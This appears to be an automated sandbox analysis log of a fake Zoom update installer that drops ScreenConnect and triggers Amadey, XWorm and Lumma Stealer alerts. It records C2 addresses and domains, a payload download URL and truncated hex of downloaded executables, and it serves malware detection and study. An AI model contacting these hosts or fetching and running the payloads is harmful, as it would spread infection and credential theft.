Source:	Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2573853588.0000000006B87000.00000004.00000800.00020000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2573853588.0000000006ACA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression\Microsoft.Deployment.Compression.pdb source: rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbS] source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2566675553.0000000003FA0000.00000004.00000800.00020000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2568713090.00000000054A0000.00000004.08000000.00040000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2996654210.000000001BBC2000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: screenconnect_windows_credential_provider.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7d725d609)\ScreenConnect.Client.pdbZb source: ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003FB4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000014.00000000.2600360439.00000000009E2000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.0000000005816000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000AD1000.00000002.00000001.01000000.0000000C.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2587734922.00000000088E4000.00000004.00000800.00020000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2573853588.0000000006897000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbu source: ScreenConnect.WindowsClient.exe, 00000014.00000000.2600360439.00000000009E2000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2972432816.0000000001222000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2972432816.0000000001222000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 74df2248d3.exe, 00000032.00000003.2773698630.0000000005CB0000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2773531840.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 74df2248d3.exe, 00000032.00000003.2773318310.0000000005BB0000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2773232282.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: screenconnect_windows_credential_provider.pdb' source: ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542711410.00000000006CD000.00000002.00000001.01000000.0000000C.sdmp

Source: C:\Windows\System32\msiexec.exe	File opened: z:
Source: C:\Windows\System32\msiexec.exe	File opened: x:
Source: C:\Windows\System32\msiexec.exe	File opened: v:
Source: C:\Windows\System32\msiexec.exe	File opened: t:
Source: C:\Windows\System32\msiexec.exe	File opened: r:
Source: C:\Windows\System32\msiexec.exe	File opened: p:
Source: C:\Windows\System32\msiexec.exe	File opened: n:
Source: C:\Windows\System32\msiexec.exe	File opened: l:
Source: C:\Windows\System32\msiexec.exe	File opened: j:
Source: C:\Windows\System32\msiexec.exe	File opened: h:
Source: C:\Windows\System32\msiexec.exe	File opened: f:
Source: C:\Windows\System32\msiexec.exe	File opened: b:
Source: C:\Windows\System32\msiexec.exe	File opened: y:
Source: C:\Windows\System32\msiexec.exe	File opened: w:
Source: C:\Windows\System32\msiexec.exe	File opened: u:
Source: C:\Windows\System32\msiexec.exe	File opened: s:
Source: C:\Windows\System32\msiexec.exe	File opened: q:
Source: C:\Windows\System32\msiexec.exe	File opened: o:
Source: C:\Windows\System32\msiexec.exe	File opened: m:
Source: C:\Windows\System32\msiexec.exe	File opened: k:
Source: C:\Windows\System32\msiexec.exe	File opened: i:
Source: C:\Windows\System32\msiexec.exe	File opened: g:
Source: C:\Windows\System32\msiexec.exe	File opened: e:
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: c:
Source: C:\Windows\System32\msiexec.exe	File opened: a:

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,		22_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,		22_2_004031DC

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49748 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49758
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49771 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.4:49780 -> 147.185.221.24:33081
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 147.185.221.24:33081 -> 192.168.2.4:49780
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49807 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.4:49780 -> 147.185.221.24:33081
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 147.185.221.24:33081 -> 192.168.2.4:49780
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49838 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49858 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.4:60913 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.4:60913 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057931 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.4:54236 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057949 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.4:49441 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057977 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.4:54236 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057981 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.4:49441 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.4:51470 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057929 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.4:65380 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057975 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.4:51470 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057979 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.4:65380 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.4:60769 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.4:60769 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057925 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.4:55085 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057973 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.4:55085 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057943 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.4:61099 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057971 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.4:61099 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49876 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49888 -> 104.121.10.34:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: eur-automatically.gl.at.ply.gg
Source: Malware configuration extractor	IPs: 185.215.113.43

Enables network access during safeboot for specific services

Source: C:\Windows\System32\msiexec.exe

Registry value created: NULL Service

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic

TCP traffic: 192.168.2.4:49780 -> 147.185.221.24:33081

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 20:02:31 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 20:02:43 GMTContent-Type: application/octet-streamContent-Length: 1996288Last-Modified: Mon, 16 Dec 2024 18:23:01 GMTConnection: keep-aliveETag: "67607005-1e7600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 70 4c 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4c 00 00 04 00 00 70 4f 1f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 77 78 79 6c 70 61 77 00 00 1a 00 00 60 32 00 00 f8 19 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 71 74 76 79 67 75 78 00 10 00 00 00 60 4c 00 00 04 00 00 00 50 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4c 00 00 22 00 00 00 54 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 20:02:52 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 20:02:58 GMTContent-Type: application/octet-streamContent-Length: 4499456Last-Modified: Mon, 16 Dec 2024 19:21:18 GMTConnection: keep-aliveETag: "67607dae-44a800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b1 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e0 4b 00 00 64 71 00 00 32 00 00 00 c0 c4 00 00 10 00 00 00 f0 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c4 00 00 04 00 00 e3 46 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f c0 6e 00 73 00 00 00 00 b0 6e 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 a7 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 a7 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 6e 00 00 10 00 00 00 40 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 b0 6e 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 6e 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 39 00 00 d0 6e 00 00 02 00 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 64 61 71 76 69 68 70 00 30 1c 00 00 80 a8 00 00 2c 1c 00 00 56 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 68 66 64 74 68 65 61 00 10 00 00 00 b0 c4 00 00 04 00 00 00 82 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 c4 00 00 22 00 00 00 86 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /software1.exe HTTP/1.1Host: sperviele.work.gd
